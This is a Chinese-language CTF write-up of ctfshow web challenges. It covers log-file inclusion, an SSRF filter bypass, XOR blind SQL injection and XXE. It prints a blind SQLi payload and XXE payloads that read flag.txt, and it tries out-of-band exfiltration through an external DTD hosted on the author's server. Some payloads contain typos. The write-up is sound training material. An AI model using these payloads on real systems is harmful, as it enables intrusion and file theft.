CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----

目录:

  • web0_签到_观己
    • 一、自己做:
    • 二、学到的&&不足:
  • web1_观宇
    • 一、自己做:
    • 二、学到的:
    • 三、学习WP:
  • web2_观星
    • 00000+
    • 一、自己做:
    • 三、看WP:
  • web3_观图
    • 一、自己做:
    • 三、学习WP:
  • web4_观心
    • 一、自己做:
    • 这个应该是可以的,只不过这里不对,调用外部文件执行RCE

web0_签到_观己

一、自己做:

吐槽一句,ctfshow 的题就是 考知识点!! ,一点拖泥带水的。赞一个!!!


if(isset($_GET['file'])){
     
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
     
        die('error');
    }else{
     
        include($file);
    }
}else{
     
    highlight_file(__FILE__);
}
?>

不能用php的一些伪协议了。
没有什么奇奇怪怪的设置。
CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----_第1张图片然后想到了../../../proc/self/cmdline这些。但是也没有什么可以利用的。
然后就想到了包含日志啥的。
在这里插入图片描述nignx的在/var/log/nginx/access.log。这个刚才才做过。一道题,这个包含的化,不用在url中书写。会有编码问题,直接在User-Agent里面写就行。
然后连蚁剑。就有了

ctfshow{594dacd8-21a1-412c-92cd-5e25b66d480e}

二、学到的&&不足:

  1. 算是复习了一下 日志包含把。。。

web1_观宇

一、自己做:



#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
     
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
     
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
     
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

第一时间想到的是http://xip.io/这个,但是有.。不行,

二、学到的:

  1. 过滤ip形式 的化,要想到 进制转换嘛,之前做题有遇到过,但是没有记住啊。。
  2. SSRF的一些绕过,这里 关于 url的一些绕过,同样适用。。
  3. 然后 ip 地址的化,中间的 . 可以用来代替,,,,

三、学习WP:

WP说可以将 IP 地址 转进制,转成16进制或10进制什么 的,

curl 0x ip的16进制。 和curl ip的效果是一样的。但是 这个转为10进制之后有0存在,而且转为16进制的化,也需要0x *****这些,所以这个不行
然后就用 来代替了。

web2_观星

00000+

  • like,或者regex正则中的 后面那个东西,用 单引号或者双引号都行,但是就不能用反引号和不用。
    在这里插入图片描述

一、自己做:

异或的bool注入是 可以的。,能够有区别。
fuzz了一下啊,过滤了| = ' " ascii union and order length
select 没过滤,考虑一下bool盲注

我的sql注入是真的菜!!!

三、看WP:

?id=1^(substr((database())from(1)for(1))<0)

在这里插入图片描述
错误的时候有回显文字。正确的就没有,然后=被过滤了,

web3_观图

一、自己做:

在这里插入图片描述

抓包后有两个请求,一个是正常的网页请求,另一个是哪个img图片的请求。
然后我这里发现能够弹xss的窗

这里看看那个用xss脱裤 的那个知识点
https://www.cnblogs.com/afanti/p/8277344.html

CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----_第2张图片

看了一眼WP,不是这个点,是看到base64,然后想到是文件读取漏洞,输入文件的base64 的值,试试看:

三、学习WP:

结果不是base64的问题。直接访问这个文件就好了。

 

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
     
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
     
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
     
    highlight_file(__FILE__);
}
?> 

密码。不看了。

web4_观心

一、自己做:

提示 flag在flag.txt中。
然后burp抓包,一个是页面刷新的包,一个是 占卜出来的json格式的一个请求,然后是一个api.php的包。

看 api这个包:api的urldecode之后是这个:http://flash.weather.com.cn/wmaps/xml/city.xml
CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----_第3张图片那么思路就来了,这个不就是调用远程的xml文档,然后实现RCE么。

evil.php

xml version="1.0"?>
<!DOCTYPE xxe [
	<!ENTITY  name SYSTEM "file:///flag.txt">
]>
<a>&name;</a>

然后直接。
CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----_第4张图片
没有反应,盲注难道是?。那我们就将这个外带到我们的vps中去。加粗样式
在这里插入图片描述
然后调用这个xml文件也不对,,,也报错,报错如下:

evil.xml:

xml version="1.0"?>

<!DOCTYPE message [
	<!ENTITY % file SYSTEM  "php://filter/read=convert-base64.encode/reource=flag.txt">
	<!ENTITY % start "">
	% start;
	% send;
]>

报错:DOMDocument::loadXML(): PEReferences forbidden in internal subset in Entity,

这个应该是可以的,只不过这里不对,调用外部文件执行RCE

然后又换:

evil.xml

xml version="1.0"?>
<!DOCTYPE remote SYSTEM  "http://ip/test/evil.dtd">

evil.dtd

<!ENTITY  % flag SYSTEM "php:///filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % wrapper "">
% wrapper;

CTFSHOW---WEB AK赛 -- 包含日志 ---sql注入 ---- xxe ----_第5张图片

你可能感兴趣的:(sql注入,python脚本练习,php,web)